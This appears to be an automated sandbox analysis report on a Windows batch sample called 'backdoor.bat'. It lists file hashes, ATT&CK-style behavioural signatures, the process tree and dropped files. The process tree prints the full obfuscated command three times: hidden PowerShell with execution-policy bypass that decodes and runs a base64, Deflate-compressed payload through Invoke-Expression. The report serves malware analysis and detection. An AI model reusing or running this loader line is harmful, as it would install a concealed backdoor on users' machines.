Analysis
-
max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09/11/2024, 20:32
Static task
static1
Behavioral task
behavioral1
Sample
backdoor.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
backdoor.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
backdoor.bat
Resource
win10ltsc2021-20241023-en
General
-
Target
backdoor.bat
-
Size
2KB
-
MD5
65b01774b98f22832ad87363295dfe55
-
SHA1
d20b626ccff0bf9341a6ebe2b94ef610bc54ef47
-
SHA256
dc880c0a9e06cbdb8e2b7b1a366be244d130e0e84645afbdd619b36fdfca1613
-
SHA512
acca3c54ce2a3fa531997034d46b2651af15574ef71661e8bec194635a0d34bf0aa00879fdb2aaaf8c81d9f23bb1ed310863c2561b375e0a1c8a89ab4edb22bc
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2456 powershell.exe 1936 powershell.exe 372 powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 372 powershell.exe 2456 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 372 powershell.exe 2456 powershell.exe 1936 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 372 powershell.exe Token: SeDebugPrivilege 2456 powershell.exe Token: SeDebugPrivilege 1936 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2948 wrote to memory of 372 2948 cmd.exe 32 PID 2948 wrote to memory of 372 2948 cmd.exe 32 PID 2948 wrote to memory of 372 2948 cmd.exe 32 PID 2948 wrote to memory of 372 2948 cmd.exe 32 PID 1784 wrote to memory of 2456 1784 cmd.exe 44 PID 1784 wrote to memory of 2456 1784 cmd.exe 44 PID 1784 wrote to memory of 2456 1784 cmd.exe 44 PID 1784 wrote to memory of 2456 1784 cmd.exe 44
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:372
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2200
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" shell32.dll,Options_RunDLL 71⤵PID:912
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"1⤵PID:2108
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SMQ1S6BJA1IYWUWXYBFX.temp
Filesize7KB
MD537fc13f184aea442f3fc9caa1d9acd64
SHA16749062d4ac7337e2ed227f922486500e6a50ea6
SHA2565ac9a2f9e74af41c0dd387ea55aeb308060927ee0ce5c7e697643253c10dd49f
SHA5123666b8324ed19a2bab747d3c93dc113a9bd5ff7af6dc5d16facac00e03a1e875572764454b8736afb9b76bfcba57e6c1a2392b5d67c17fe320767e42dabaa196
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5f8f106e67842dad3652a52d648497b35
SHA1db3a3197a07c813523ab40b936c682c8e0f1b512
SHA256cc8793d312816e04621c6c62239d11f2eb7f64253478971a6eb2df8823492257
SHA512154788e6048f2b3dd3820181a8530e19d071623137e4a0b174507b68787a3fcae034464dd0ab705fe2809183aabbcbea65a5d6bd63e5a6398b7e7c6ffea8d4af